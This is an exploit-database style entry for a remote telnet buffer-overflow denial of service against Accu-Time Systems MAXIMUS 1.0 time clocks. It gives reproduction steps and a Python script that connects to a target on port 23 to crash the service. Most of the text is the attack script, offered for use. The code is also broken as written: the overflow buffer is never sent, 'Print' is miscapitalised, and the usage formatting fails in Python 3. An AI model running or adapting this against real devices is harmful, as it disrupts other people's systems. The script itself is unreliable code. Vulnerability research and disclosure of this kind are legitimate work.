[remote] Accu-Time Systems MAXIMUS 1.0 - Telnet Remote Buffer Overflow (DoS)

# Exploit Title: Accu-Time Systems MAXIMUS 1.0 - Telnet Remote Buffer Overflow (DoS) # Discovered by: Yehia Elghaly # Discovered Date: 22/12/2021 # Vendor Homepage: https://www.accu-time.com/ # Software Link : https://www.accu-time.com/maximus-employee-time-clock-3/ # Tested Version: 1.0 # Vulnerability Type: Buffer Overflow (DoS) Remote # Tested on OS: linux # Description: Accu-Time Systems MAXIMUS 1.0 Telnet Remote Buffer Overflow # Steps to reproduce: # 1. - Accu-Time Systems MAXIMUS 1.0 Telnet listening on port 23 # 2. - Run the Script from remote PC/IP # 3. - Telnet Crashed #!/usr/bin/env python3 import socket import sys print("#######################################################") print("# Accu-Time Systems MAXIMUS Remote (BUffer Overflow) #") print("# -------------------------- #") print("# BY Yehia Elghaly #") print("#######################################################") if (len(sys.argv)<2): print ("Usage: %s <Target Host> ") % sys.argv[0] print ("Example: %s 192.168.113.1 ") % sys.argv[0] exit(0) print ("\nSending Evil.......Buffer...") s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) try: s.connect((sys.argv[1], 23)) buffer = "A"*9400 s.send(" Crashed Check the connection") Print ("Crashed") except: print ("Could not connect to ACCU Time Telnet!")